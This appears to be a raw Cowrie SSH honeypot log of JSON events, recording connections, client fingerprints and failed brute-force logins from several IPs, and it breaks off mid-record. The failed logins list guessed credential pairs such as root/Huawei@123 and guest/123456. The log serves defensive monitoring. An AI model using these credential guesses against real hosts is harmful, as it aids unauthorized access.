{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:46.697972Z","src_ip":"5.196.136.131","session":"d0a04ba874c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:46.930647Z","src_ip":"5.196.136.131","session":"d0a04ba874c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:48.009579Z","src_ip":"5.196.136.131","session":"d0a04ba874c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.84.101.167","src_port":52416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9a6edc7fa0","protocol":"ssh","message":"New connection: 20.84.101.167:52416 (10.17.0.5:22) [session: 1a9a6edc7fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:48.771566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:48.774187Z","src_ip":"20.84.101.167","session":"1a9a6edc7fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:48.783882Z","src_ip":"20.84.101.167","session":"1a9a6edc7fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021!!","message":"login attempt [root/unitedstates2021!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:48.814242Z","src_ip":"20.84.101.167","session":"1a9a6edc7fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:49.828633Z","src_ip":"20.84.101.167","session":"1a9a6edc7fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":48861,"dst_ip":"10.17.0.5","dst_port":22,"session":"348821d8a091","protocol":"ssh","message":"New connection: 5.196.136.131:48861 (10.17.0.5:22) [session: 348821d8a091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:51.062520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:51.065675Z","src_ip":"5.196.136.131","session":"348821d8a091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:51.148382Z","src_ip":"5.196.136.131","session":"348821d8a091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:51.403229Z","src_ip":"5.196.136.131","session":"348821d8a091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:52.488392Z","src_ip":"5.196.136.131","session":"348821d8a091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34052,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b4e9d4f3c24","protocol":"ssh","message":"New connection: 5.196.136.131:34052 (10.17.0.5:22) [session: 5b4e9d4f3c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:55.394623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:55.397631Z","src_ip":"5.196.136.131","session":"5b4e9d4f3c24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:55.472860Z","src_ip":"5.196.136.131","session":"5b4e9d4f3c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:55.703405Z","src_ip":"5.196.136.131","session":"5b4e9d4f3c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:56.781049Z","src_ip":"5.196.136.131","session":"5b4e9d4f3c24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51730,"dst_ip":"10.17.0.5","dst_port":22,"session":"232036ecbc68","protocol":"ssh","message":"New connection: 5.196.136.131:51730 (10.17.0.5:22) [session: 232036ecbc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:59.884614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:59.888334Z","src_ip":"5.196.136.131","session":"232036ecbc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:59.964114Z","src_ip":"5.196.136.131","session":"232036ecbc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:00.215300Z","src_ip":"5.196.136.131","session":"232036ecbc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":34836,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca4af35ee32","protocol":"ssh","message":"New connection: 178.128.39.166:34836 (159.203.135.109:22) [session: 8ca4af35ee32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:00.268005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:00.289296Z","src_ip":"178.128.39.166","session":"8ca4af35ee32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:00.368453Z","src_ip":"178.128.39.166","session":"8ca4af35ee32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:00.848058Z","src_ip":"178.128.39.166","session":"8ca4af35ee32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:01.295317Z","src_ip":"5.196.136.131","session":"232036ecbc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:01.972052Z","src_ip":"178.128.39.166","session":"8ca4af35ee32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":47766,"dst_ip":"159.203.135.109","dst_port":22,"session":"200de4ebd784","protocol":"ssh","message":"New connection: 162.240.35.200:47766 (159.203.135.109:22) [session: 200de4ebd784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:02.735609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:02.739789Z","src_ip":"162.240.35.200","session":"200de4ebd784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:02.840548Z","src_ip":"162.240.35.200","session":"200de4ebd784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"theta123","message":"login attempt [root/theta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:03.113507Z","src_ip":"162.240.35.200","session":"200de4ebd784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:04.206020Z","src_ip":"162.240.35.200","session":"200de4ebd784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":33654,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9e041e610b","protocol":"ssh","message":"New connection: 5.196.136.131:33654 (10.17.0.5:22) [session: 2c9e041e610b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:04.325532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:04.333158Z","src_ip":"5.196.136.131","session":"2c9e041e610b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:04.418368Z","src_ip":"5.196.136.131","session":"2c9e041e610b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:04.668400Z","src_ip":"5.196.136.131","session":"2c9e041e610b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:05.754365Z","src_ip":"5.196.136.131","session":"2c9e041e610b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60905,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f90f1c13cb","protocol":"ssh","message":"New connection: 5.196.136.131:60905 (10.17.0.5:22) [session: a8f90f1c13cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:08.766983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:08.770877Z","src_ip":"5.196.136.131","session":"a8f90f1c13cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compC